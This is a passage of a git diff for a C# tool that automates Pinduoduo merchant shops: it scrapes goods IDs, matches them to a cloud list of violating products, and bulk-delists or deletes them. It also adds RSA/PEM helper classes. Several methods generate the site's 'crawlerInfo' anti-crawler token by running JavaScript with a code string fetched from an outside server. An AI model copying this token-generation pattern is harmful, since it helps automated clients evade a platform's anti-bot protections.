GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies); + int allCount = BaseRegex.GetIntJson(ref html, "totalNum"); + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + + for (int i = 1; i <= page; i++) + { + strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + + if (i != 1) + { + data = "{\"goodsId\":\"\",\"cate1Id\":\"\",\"cate2Id\":\"\",\"cate3Id\":\"\",\"startDate\":\"" + BaseClass.GetServerTimeString().AddDays(-30).ToString("yyyy-MM-dd") + "\",\"endDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\",\"queryType\":2,\"sortCol\":0,\"sortType\":1,\"pageNum\":" + i + ",\"pageSize\":50,\"crawlerInfo\":\"" + codex + "\"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([^\}]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + long Id = BaseRegex.GetLongJson(ref list, "goodsId"); + if (!pidList.Contains(Id)) + { + pidList.Add(Id); + LogSave.Add(Name, "流量 " + Id); + } + } + LogSave.Add(Name, "获取 " + Shop.ShopName + " 流量:" + i); + Thread.Sleep(100); + } + } + public void DelGetGroup() + { + GetGroupOrder(); + GetGroupOrderWait(); + } + + public void GetGroupOrder() + { + string url = "https://mms.pinduoduo.com/mars/shop/queryMallExpiredSoonOrders"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = ""; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("\"success\":true")) + return; + + var m = BaseRegex.GetMatchRegex(ref html, @"\{([^\}]+?)\}"); + + for (int i = 0; i < m.Count; i++) + { + string list = m[i].Groups[0].Value; + if (!list.Contains("goods_id")) + continue; + long Id = BaseRegex.GetLongJson(ref list, "goods_id"); + if (!pidList.Contains(Id)) + { + pidList.Add(Id); + LogSave.Add(Name, "订单 " + Id); + } + Thread.Sleep(100); + } + } + + public void GetGroupOrderWait() + { + string Cookies = Shop.Cookies; + string url = "https://mms.pinduoduo.com/chats/ungroupOrders?pageNo=1&pageSize=20"; + string refere = "https://mms.pinduoduo.com/assets/chats/dist/indexMain.html"; + string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, Cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("\"orders\"")) + return; + int all = BaseRegex.GetIntJson(ref html, "total"); + int page = all / 20 + (all % 20 > 0 ? 1 : 0); + + for (int j = 0; j < page; j++) + { + if (j != 0) + { + string urlx = url.Replace("pageNo=1", "pageNo=" + (j + 1)); + html = GetPostTaobaoHtml.UploadTaobao(urlx, refere, true, Cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("\"orders\"")) + return; + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{.*?\}([^\}]+?)\}"); + for (int i = 0; i < m.Count; i++) + { + string list = m[i].Groups[0].Value; + if (!list.Contains("goodsId")) + continue; + long Id = BaseRegex.GetLongJson(ref list, "goodsId"); + if (!pidList.Contains(Id)) + { + pidList.Add(Id); + LogSave.Add(Name, "订单 " + Id); + } + Thread.Sleep(100); + } + } + } + + + + public void offGood() + { + List ids = new List(); + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path); + } + string NoCode = ""; + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + + List idsx = new List(); + for (int j = 0; j < Shop.VioProduct.Count; j++) + { + bool isOnline = !Shop.VioProduct[j].OffLine; + if (isOnline) + { + idsx.Add(Shop.VioProduct[j].GoodsId); + if (idsx.Count >= 15) + { + string html = OffShop(idsx); + idsx.Clear(); + if (html == "error") + break; + Thread.Sleep(10 * 1000); + } + } + else + { + var good = Shop.VioProduct[j]; + good.Message = "下架商品"; + VioProductControl.ProductDelTemp.Add(good); + } + } + if (idsx.Count > 0) + { + OffShop(idsx); + idsx.Clear(); + } + + } + + public string OffShop(List ids) + { + if (ids.Count == 0) + return ""; + StringBuilder pids = new StringBuilder(); + for (int i = 0; i < ids.Count; i++) + { + pids.Append("," + ids[i]); + } + string GoodsId = pids.ToString(1, pids.Length - 1); + + string codex = ""; + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codex = jsEngine.CallFunction("aaa", "").ToString(); + } + string data = "{\"goodsIds\":[" + GoodsId + "],\"crawlerInfo\":\"" + codex + "\"}"; + string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/batchOffSale"; + string refere = "https://mms.pinduoduo.com"; + string html = CpsSetAllGoods.Request_mms_pinduoduo_com(urlx, refere, Shop.Cookies, data, CpsSetAllGoods.getAnti0aon()); + if (html.Contains("{\"success\":true")) + { + string[] l = GoodsId.Split(','); + foreach (string s in l) + { + var good = Shop.VioProduct.Find(p => p.GoodsId == long.Parse(s)); + good.Message = "下架成功"; + VioProductControl.ProductDelTemp.Add(good); + LogSave.Add(Name, "下架产品成功:" + s); + } + return ""; + } + if (html.Contains("手速太快了")|| html.Contains("频繁")) + { + LogSave.Add(Name, Shop.ShopName + "接口调用频繁,请过段时间再操作。"); + return "error"; + } + return ""; + } + + public void DeleteUp() + { + List ids = new List(); + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path); + } + string NoCode = ""; + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + + + for (int j = 0; j < Shop.VioProduct.Count; j++) + { + ids.Add(Shop.VioProduct[j].GoodsId); + Shop.VioProduct[j].Message = "删除成功"; + if (ids.Count >= 100) + { + string html = DelGroupIds(ids); + if (html.Contains("删除量上限")) + { + LogSave.Add(Name, "今日删除商品已达上限:" + Shop.ShopName); + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.VioProduct.Find(sp => sp.GoodsId == ids[i]); + p.Message = "今日删除商品已达上限"; + VioProductControl.ProductDelTemp.Add(p); + } + return; + } + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.VioProduct.Find(sp => sp.GoodsId == ids[i]); + VioProductControl.ProductDelTemp.Add(p); + } + ids.Clear(); + LogSave.Add(Name, "删除成功:" + Shop.VioProduct[j].GoodsId); + Thread.Sleep(3 * 1000); + } + } + if (ids.Count > 0) + { + string html = DelGroupIds(ids); + if (html.Contains("删除量上限")) + { + LogSave.Add(Name, "今日删除商品已达上限:" + Shop.ShopName); + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.VioProduct.Find(sp => sp.GoodsId == ids[i]); + p.Message = "今日删除商品已达上限"; + VioProductControl.ProductDelTemp.Add(p); + } + return; + } + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.VioProduct.Find(sp => sp.GoodsId == ids[i]); + VioProductControl.ProductDelTemp.Add(p); + } + } + LogSave.Add(Name, "删除完成"); + } + public string DelGroupIds(List ids) + { + if (ids.Count == 0) + return ""; + StringBuilder pids = new StringBuilder(); + for (int i = 0; i < ids.Count; i++) + { + pids.Append("," + ids[i]); + } + var d = new DownUpProductExploder("", false, pids.ToString(1, pids.Length - 1)); + d.Cookies = Shop.Cookies; + d.Name = Name; + d.Shop = Shop; + string html = d.Delete(); + return html; + } + + public void GetUpId() + { + GetVioAllWord(); + for (int i = 0; i < lstgood.Count; i++) + { + LogSave.Add(Name, "在店铺中查找违规商品:" + lstgood[i]); + var up = VioProductControl.UpIds.Find(u => u.GoodsId == lstgood[i]); + if (up != null) + { + Shop.VioProduct.Add(up); + VioProductControl.ProductDelTemp.Add(up); + } + } + LogSave.Add(Name, "查找店铺"+Shop.ShopName+"违规商品完成"); + } + public static List lstgood = new List(); + public static void GetUpIdGoodsId() + { + for (int i = 0; i < BaseClass.UpIds.Count; i++) + { + //if (BaseClass.UpIds[i] != "pd-1249754292") + // continue; + string url = BaseClass.LoginApiUrl + "?obj=upshopid/upid&act=get_to"; + string data = "up_id=" + BaseClass.UpIds[i] + "" + "&" + UserLogin.GetSignaturex(); + string html = GetHtml.PostUtf8(url, data); + var m = BaseRegex.GetMatchRegex(ref html, @"{[\w\W]+?}"); + LogSave.Add("违规排查", "云端违规上家" + BaseClass.UpIds.Count + "个,当前查找第:" + (i+1)+"个"); + for (int j = 0; j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + long goodsId = BaseRegex.GetLongJson(ref list, "pdd_id"); + LogSave.Add("违规排查", "从违规上家"+ BaseClass.UpIds[i] + "中,查找到违规商品:" + goodsId); + lstgood.Add(goodsId); + } + Thread.Sleep(200); + } + } + + + public static void GetUpIdAndGoodsId() + { + bool had = true; + int page = 1; + while (had) + { + string data = UserLogin.GetSignaturex() + ""; + string url = BaseClass.BuildObjString("upid&act=getx&page=" + page); + string html = GetHtml.PostUtf8(url, data); + var m = BaseRegex.GetMatchRegex(ref html, @"({[\s\S]+?})"); + LogSave.Add("违规排查", "云端违规获取企业上家Id,第"+page+"页数据"); + for (int i = 0; i < m.Count; i++) + { + var item = m[i].Groups[0].Value; + string pid = BaseRegex.GetStringJson(ref item, "product_id");//商品ID + string upids = BaseRegex.GetStringJson(ref item, "up_ids");//自定义上家Id + string upids2 = BaseRegex.GetStringJson(ref item, "up_ids2");//自定义上家Id2 + if ((string.IsNullOrEmpty(upids) && string.IsNullOrEmpty(upids2)) || string.IsNullOrEmpty(pid)) + continue; + UpProId upProId = new UpProId(); + upProId.upProIdOne = upids; + upProId.upProIdTwo = upids2; + if (UpIdsList.ContainsKey(pid))//如果dictionary 存在相同的key,remove后再添加。 + { + UpIdsList.Remove(pid); + } + UpIdsList.Add(pid, upProId); + } + had = m.Count > 2; + page++; + } + LogSave.Add("违规排查", "云端违规获取企业上家Id数据完成"); + } + public static List filPidlist = new List(); + public static void GetFiltersUpIdAndGoodsId() + { + filPidlist.Clear(); + foreach (KeyValuePair up in UpIdsList) + { + LogSave.Add("违规排查", "正在过滤违规商品"+up.Key); + string pid = UploadPinduoduoMain.RuleIds.Find(r => r == up.Key); + if (!string.IsNullOrEmpty(pid)) + { + filPidlist.Add(pid); + } + string upProIdOne = UploadPinduoduoMain.RuleIds.Find(r => r == up.Value.upProIdOne); + if (!string.IsNullOrEmpty(upProIdOne)) + { + filPidlist.Add(upProIdOne); + filPidlist.Add(up.Key); + } + string upProIdTwo = UploadPinduoduoMain.RuleIds.Find(r => r == up.Value.upProIdTwo); + if (!string.IsNullOrEmpty(upProIdTwo)) + { + filPidlist.Add(upProIdTwo); + filPidlist.Add(up.Key); + } + } + LogSave.Add("违规排查", "云端违规过滤违规商品完成。"); + } + + } + + public class VioProductControl + { + public string Name; + public ShopChatBase Shop; + public int ShopThreadCount = 20; + public string delTitle; + public static List UpIds = new List(); + public static List ProductDelTemp = new List(); + + public VioProductControl(string name) + { + Name = name; + } + public void GetVioKeyWordGoodOnline() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectVio || !shop.Showed) + continue; + var p = new VioProductGroup(Name, shop); + p.delTitle = delTitle; + Threadx.ThreadListWait(ref ts, new Thread(p.GetVioKeyWordDel), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + public void GetFilterKeyWordGoodOnline() + { + if (VioProductGroup.UpIdsList.Count == 0) + { + VioProductGroup.GetUpIdAndGoodsId(); + VioProductGroup.GetFiltersUpIdAndGoodsId(); + } + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectVio || !shop.Showed) + continue; + var p = new VioProductGroup(Name, shop); + p.delTitle = delTitle; + Threadx.ThreadListWait(ref ts, new Thread(p.GetFilterKeyWordDel), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + public void GetRepeatGoodOnline() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectVio || !shop.Showed) + continue; + var p = new VioProductGroup(Name, shop); + Threadx.ThreadListWait(ref ts, new Thread(p.GetRepeatGoodOnline), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + public void GetOffGoodOnline() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectVio || !shop.Showed) + continue; + var p = new VioProductGroup(Name, shop); + Threadx.ThreadListWait(ref ts, new Thread(p.offGood), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + public void GetDelGoodOnline() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectVio || !shop.Showed) + continue; + var p = new VioProductGroup(Name, shop); + Threadx.ThreadListWait(ref ts, new Thread(p.DeleteUp), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + public void GetUpId() + { + VioProductGroup.lstgood.Clear(); + VioProductGroup.GetUpIdGoodsId(); + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectVio || !shop.Showed) + continue; + var p = new VioProductGroup(Name, shop); + Threadx.ThreadListWait(ref ts, new Thread(p.GetUpId), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + + } +} diff --git a/Work/Properties/AssemblyInfo.cs b/Work/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..90bc227 --- /dev/null +++ b/Work/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// 有关程序集的一般信息由以下 +// 控制。更改这些特性值可修改 +// 与程序集关联的信息。 +[assembly: AssemblyTitle("Work")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Work")] +[assembly: AssemblyCopyright("Copyright © 2018")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +//将 ComVisible 设置为 false 将使此程序集中的类型 +//对 COM 组件不可见。 如果需要从 COM 访问此程序集中的类型, +//请将此类型的 ComVisible 特性设置为 true。 +[assembly: ComVisible(false)] + +// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID +[assembly: Guid("38e74d4c-2d8d-47d2-8a23-417c3c57ade5")] + +// 程序集的版本信息由下列四个值组成: +// +// 主版本 +// 次版本 +// 生成号 +// 修订号 +// +//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值, +// 方法是按如下所示使用“*”: : +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Work/RSA.cs b/Work/RSA.cs new file mode 100644 index 0000000..c464d15 --- /dev/null +++ b/Work/RSA.cs @@ -0,0 +1,188 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; + +namespace Work +{ + /// + /// RSA操作类 + /// + public class RSA { + /// + /// 导出XML格式密钥对,如果convertToPublic含私钥的RSA将只返回公钥,仅含公钥的RSA不受影响 + /// + public string ToXML(bool convertToPublic = false) { + return rsa.ToXmlString(!rsa.PublicOnly && !convertToPublic); + } + /// + /// 导出PEM PKCS#1格式密钥对,如果convertToPublic含私钥的RSA将只返回公钥,仅含公钥的RSA不受影响 + /// + public string ToPEM_PKCS1(bool convertToPublic = false) { + return RSA_PEM.ToPEM(rsa, convertToPublic, false); + } + /// + /// 导出PEM PKCS#8格式密钥对,如果convertToPublic含私钥的RSA将只返回公钥,仅含公钥的RSA不受影响 + /// + public string ToPEM_PKCS8(bool convertToPublic = false) { + return RSA_PEM.ToPEM(rsa, convertToPublic, true); + } + + + + + /// + /// 加密字符串(utf-8),出错抛异常 + /// + public string Encode(string str) { + return RSA_Unit.Base64EncodeBytes(Encode(Encoding.UTF8.GetBytes(str))); + } + /// + /// 加密数据,出错抛异常 + /// + public byte[] Encode(byte[] data) { + int blockLen = rsa.KeySize / 8 - 11; + if (data.Length <= blockLen) { + return rsa.Encrypt(data, false); + } + + using (var dataStream = new MemoryStream(data)) + using (var enStream = new MemoryStream()) { + Byte[] buffer = new Byte[blockLen]; + int len = dataStream.Read(buffer, 0, blockLen); + + while (len > 0) { + Byte[] block = new Byte[len]; + Array.Copy(buffer, 0, block, 0, len); + + Byte[] enBlock = rsa.Encrypt(block, false); + enStream.Write(enBlock, 0, enBlock.Length); + + len = dataStream.Read(buffer, 0, blockLen); + } + + return enStream.ToArray(); + } + } + /// + /// 解密字符串(utf-8),解密异常返回null + /// + public string DecodeOrNull(string str) { + if (String.IsNullOrEmpty(str)) { + return null; + } + var byts = RSA_Unit.Base64DecodeBytes(str); + if (byts == null) { + return null; + } + var val = DecodeOrNull(byts); + if (val == null) { + return null; + } + return Encoding.UTF8.GetString(val); + } + /// + /// 解密数据,解密异常返回null + /// + public byte[] DecodeOrNull(byte[] data) { + try { + int blockLen = rsa.KeySize / 8; + if (data.Length <= blockLen) { + return rsa.Decrypt(data, false); + } + + using (var dataStream = new MemoryStream(data)) + using (var deStream = new MemoryStream()) { + Byte[] buffer = new Byte[blockLen]; + int len = dataStream.Read(buffer, 0, blockLen); + + while (len > 0) { + Byte[] block = new Byte[len]; + Array.Copy(buffer, 0, block, 0, len); + + Byte[] deBlock = rsa.Decrypt(block, false); + deStream.Write(deBlock, 0, deBlock.Length); + + len = dataStream.Read(buffer, 0, blockLen); + } + + return deStream.ToArray(); + } + } catch { + return null; + } + } + /// + /// 对str进行签名,并指定hash算法(如:SHA256) + /// + public string Sign(string hash, string str) { + return RSA_Unit.Base64EncodeBytes(Sign(hash, Encoding.UTF8.GetBytes(str))); + } + /// + /// 对data进行签名,并指定hash算法(如:SHA256) + /// + public byte[] Sign(string hash, byte[] data) { + return rsa.SignData(data, hash); + } + /// + /// 验证字符串str的签名是否是sgin,并指定hash算法(如:SHA256) + /// + public bool Verify(string hash, string sgin, string str) { + var byts = RSA_Unit.Base64DecodeBytes(sgin); + if (byts == null) { + return false; + } + return Verify(hash, byts, Encoding.UTF8.GetBytes(str)); + } + /// + /// 验证data的签名是否是sgin,并指定hash算法(如:SHA256) + /// + public bool Verify(string hash, byte[] sgin, byte[] data) { + try { + return rsa.VerifyData(data, hash, sgin); + } catch { + return false; + } + } + + + + + private RSACryptoServiceProvider rsa; + private void _init() { + var rsaParams = new CspParameters(); + rsaParams.Flags = CspProviderFlags.UseMachineKeyStore; + rsa = new RSACryptoServiceProvider(rsaParams); + } + + /// + /// 用指定密钥大小创建一个新的RSA,出错抛异常 + /// + public RSA(int keySize) { + _init(); + + var rsaParams = new CspParameters(); + rsaParams.Flags = CspProviderFlags.UseMachineKeyStore; + rsa = new RSACryptoServiceProvider(keySize, rsaParams); + } + /// + /// 通过指定的密钥,创建一个RSA,xml内可以只包含一个公钥或私钥,或都包含,出错抛异常 + /// + public RSA(string xml) { + _init(); + + rsa.FromXmlString(xml); + } + /// + /// 通过一个pem文件创建RSA,pem为公钥或私钥,出错抛异常 + /// + public RSA(string pem, bool noop) { + _init(); + + rsa = RSA_PEM.FromPEM(pem); + } + } +} diff --git a/Work/RSA_PEM.cs b/Work/RSA_PEM.cs new file mode 100644 index 0000000..e1806b1 --- /dev/null +++ b/Work/RSA_PEM.cs @@ -0,0 +1,292 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading.Tasks; + +namespace Work +{ + /// + /// RSA PEM格式秘钥对的解析和导出 + /// + public class RSA_PEM { + /// + /// 用PEM格式密钥对创建RSA,支持PKCS#1、PKCS#8格式的PEM + /// + public static RSACryptoServiceProvider FromPEM(string pem) { + var rsaParams = new CspParameters(); + rsaParams.Flags = CspProviderFlags.UseMachineKeyStore; + var rsa = new RSACryptoServiceProvider(rsaParams); + + var param = new RSAParameters(); + + var base64 = _PEMCode.Replace(pem, ""); + var data = RSA_Unit.Base64DecodeBytes(base64); + if (data == null) { + throw new Exception("PEM内容无效"); + } + var idx = 0; + + //读取长度 + Func readLen = (first) => { + if (data[idx] == first) { + idx++; + if (data[idx] == 0x81) { + idx++; + return data[idx++]; + } else if (data[idx] == 0x82) { + idx++; + return (((int)data[idx++]) << 8) + data[idx++]; + } else if (data[idx] < 0x80) { + return data[idx++]; + } + } + throw new Exception("PEM未能提取到数据"); + }; + //读取块数据 + Func readBlock = () => { + var len = readLen(0x02); + if (data[idx] == 0x00) { + idx++; + len--; + } + var val = data.sub(idx, len); + idx += len; + return val; + }; + //比较data从idx位置开始是否是byts内容 + Func eq = (byts) => { + for (var i = 0; i < byts.Length; i++, idx++) { + if (idx >= data.Length) { + return false; + } + if (byts[i] != data[idx]) { + return false; + } + } + return true; + }; + + + + + if (pem.Contains("PUBLIC KEY")) { + /****使用公钥****/ + //读取数据总长度 + readLen(0x30); + if (!eq(_SeqOID)) { + throw new Exception("PEM未知格式"); + } + //读取1长度 + readLen(0x03); + idx++;//跳过0x00 + //读取2长度 + readLen(0x30); + + //Modulus + param.Modulus = readBlock(); + + //Exponent + param.Exponent = readBlock(); + } else if (pem.Contains("PRIVATE KEY")) { + /****使用私钥****/ + //读取数据总长度 + readLen(0x30); + + //读取版本号 + if (!eq(_Ver)) { + throw new Exception("PEM未知版本"); + } + + //检测PKCS8 + var idx2 = idx; + if (eq(_SeqOID)) { + //读取1长度 + readLen(0x04); + //读取2长度 + readLen(0x30); + + //读取版本号 + if (!eq(_Ver)) { + throw new Exception("PEM版本无效"); + } + } else { + idx = idx2; + } + + //读取数据 + param.Modulus = readBlock(); + param.Exponent = readBlock(); + param.D = readBlock(); + param.P = readBlock(); + param.Q = readBlock(); + param.DP = readBlock(); + param.DQ = readBlock(); + param.InverseQ = readBlock(); + } else { + throw new Exception("pem需要BEGIN END标头"); + } + + rsa.ImportParameters(param); + return rsa; + } + static private Regex _PEMCode = new Regex(@"--+.+?--+|\s+"); + static private byte[] _SeqOID = new byte[] { 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00 }; + static private byte[] _Ver = new byte[] { 0x02, 0x01, 0x00 }; + + + + + + + + + /// + /// 将RSA中的密钥对转换成PEM格式,usePKCS8=false时返回PKCS#1格式,否则返回PKCS#8格式,如果convertToPublic含私钥的RSA将只返回公钥,仅含公钥的RSA不受影响 + /// + public static string ToPEM(RSACryptoServiceProvider rsa, bool convertToPublic, bool usePKCS8) { + //https://www.jianshu.com/p/25803dd9527d + //https://www.cnblogs.com/ylz8401/p/8443819.html + //https://blog.csdn.net/jiayanhui2877/article/details/47187077 + //https://blog.csdn.net/xuanshao_/article/details/51679824 + //https://blog.csdn.net/xuanshao_/article/details/51672547 + + var ms = new MemoryStream(); + //写入一个长度字节码 + Action writeLenByte = (len) => { + if (len < 0x80) { + ms.WriteByte((byte)len); + } else if (len <= 0xff) { + ms.WriteByte(0x81); + ms.WriteByte((byte)len); + } else { + ms.WriteByte(0x82); + ms.WriteByte((byte)(len >> 8 & 0xff)); + ms.WriteByte((byte)(len & 0xff)); + } + }; + //写入一块数据 + Action writeBlock = (byts) => { + var addZero = (byts[0] >> 4) >= 0x8; + ms.WriteByte(0x02); + var len = byts.Length + (addZero ? 1 : 0); + writeLenByte(len); + + if (addZero) { + ms.WriteByte(0x00); + } + ms.Write(byts, 0, byts.Length); + }; + //根据后续内容长度写入长度数据 + Func writeLen = (index, byts) => { + var len = byts.Length - index; + + ms.SetLength(0); + ms.Write(byts, 0, index); + writeLenByte(len); + ms.Write(byts, index, len); + + return ms.ToArray(); + }; + + + if (rsa.PublicOnly || convertToPublic) { + /****生成公钥****/ + var param = rsa.ExportParameters(false); + + + //写入总字节数,不含本段长度,额外需要24字节的头,后续计算好填入 + ms.WriteByte(0x30); + var index1 = (int)ms.Length; + + //固定内容 + // encoded OID sequence for PKCS #1 rsaEncryption szOID_RSA_RSA = "1.2.840.113549.1.1.1" + ms.writeAll(_SeqOID); + + //从0x00开始的后续长度 + ms.WriteByte(0x03); + var index2 = (int)ms.Length; + ms.WriteByte(0x00); + + //后续内容长度 + ms.WriteByte(0x30); + var index3 = (int)ms.Length; + + //写入Modulus + writeBlock(param.Modulus); + + //写入Exponent + writeBlock(param.Exponent); + + + //计算空缺的长度 + var byts = ms.ToArray(); + + byts = writeLen(index3, byts); + byts = writeLen(index2, byts); + byts = writeLen(index1, byts); + + + return "-----BEGIN PUBLIC KEY-----\n" + RSA_Unit.TextBreak(RSA_Unit.Base64EncodeBytes(byts), 64) + "\n-----END PUBLIC KEY-----"; + } else { + /****生成私钥****/ + var param = rsa.ExportParameters(true); + + //写入总字节数,后续写入 + ms.WriteByte(0x30); + int index1 = (int)ms.Length; + + //写入版本号 + ms.writeAll(_Ver); + + //PKCS8 多一段数据 + int index2 = -1, index3 = -1; + if (usePKCS8) { + //固定内容 + ms.writeAll(_SeqOID); + + //后续内容长度 + ms.WriteByte(0x04); + index2 = (int)ms.Length; + + //后续内容长度 + ms.WriteByte(0x30); + index3 = (int)ms.Length; + + //写入版本号 + ms.writeAll(_Ver); + } + + //写入数据 + writeBlock(param.Modulus); + writeBlock(param.Exponent); + writeBlock(param.D); + writeBlock(param.P); + writeBlock(param.Q); + writeBlock(param.DP); + writeBlock(param.DQ); + writeBlock(param.InverseQ); + + + //计算空缺的长度 + var byts = ms.ToArray(); + + if (index2 != -1) { + byts = writeLen(index3, byts); + byts = writeLen(index2, byts); + } + byts = writeLen(index1, byts); + + + var flag = " PRIVATE KEY"; + if (!usePKCS8) { + flag = " RSA" + flag; + } + return "-----BEGIN" + flag + "-----\n" + RSA_Unit.TextBreak(RSA_Unit.Base64EncodeBytes(byts), 64) + "\n-----END" + flag + "-----"; + } + } + } +} diff --git a/Work/RSA_Unit.cs b/Work/RSA_Unit.cs new file mode 100644 index 0000000..f81c98d --- /dev/null +++ b/Work/RSA_Unit.cs @@ -0,0 +1,61 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Work +{ + /// + /// 封装的一些通用方法 + /// + public class RSA_Unit { + static public string Base64EncodeBytes(byte[] byts) { + return Convert.ToBase64String(byts); + } + static public byte[] Base64DecodeBytes(string str) { + try { + return Convert.FromBase64String(str); + } catch { + return null; + } + } + /// + /// 把字符串按每行多少个字断行 + /// + static public string TextBreak(string text, int line) { + var idx = 0; + var len = text.Length; + var str = new StringBuilder(); + while (idx < len) { + if (idx > 0) { + str.Append('\n'); + } + if (idx + line >= len) { + str.Append(text.Substring(idx)); + } else { + str.Append(text.Substring(idx, line)); + } + idx += line; + } + return str.ToString(); + } + } + + static public class Extensions { + /// + /// 从数组start开始到指定长度复制一份 + /// + static public T[] sub(this T[] arr, int start, int count) { + T[] val = new T[count]; + for (var i = 0; i < count; i++) { + val[i] = arr[start + i]; + } + return val; + } + static public void writeAll(this Stream stream, byte[] byts) { + stream.Write(byts, 0, byts.Length); + } + } +} diff --git a/Work/UpShopIdFromServer.cs b/Work/UpShopIdFromServer.cs new file mode 100644 index 0000000..3a55353 --- /dev/null +++ b/Work/UpShopIdFromServer.cs @@ -0,0 +1,141 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using AllBase; + + +namespace Work +{ + public class UpShopIdFromServer + { + /// + /// 上家id队列:id , site_id +'000' + productid + /// + public static Dictionary UpIds = new Dictionary(); + public static void Get(string shopId, string shopName) + { + string url = BaseClass.LoginApiUrl + "index.php?obj=upshopid/get&act=get_shop"; + StringBuilder sb = new StringBuilder(); + sb.Append(UserLogin.GetSignaturex(shopId, shopName)); + //sb.Append("&act=get_shop"); + sb.Append("&shop_id=" + shopId); + string html = GetHtml.PostUtf8(url, sb); + if (string.IsNullOrEmpty(html) ) + return; + var m = BaseRegex.GetMatchRegex(ref html, "]+?)>"); + for (int i = 0; m!=null && i < m.Count; i++) + { + string list = m[i].Groups[0].Value; + string sid_pid = BaseRegex.GetStringJson(ref list, 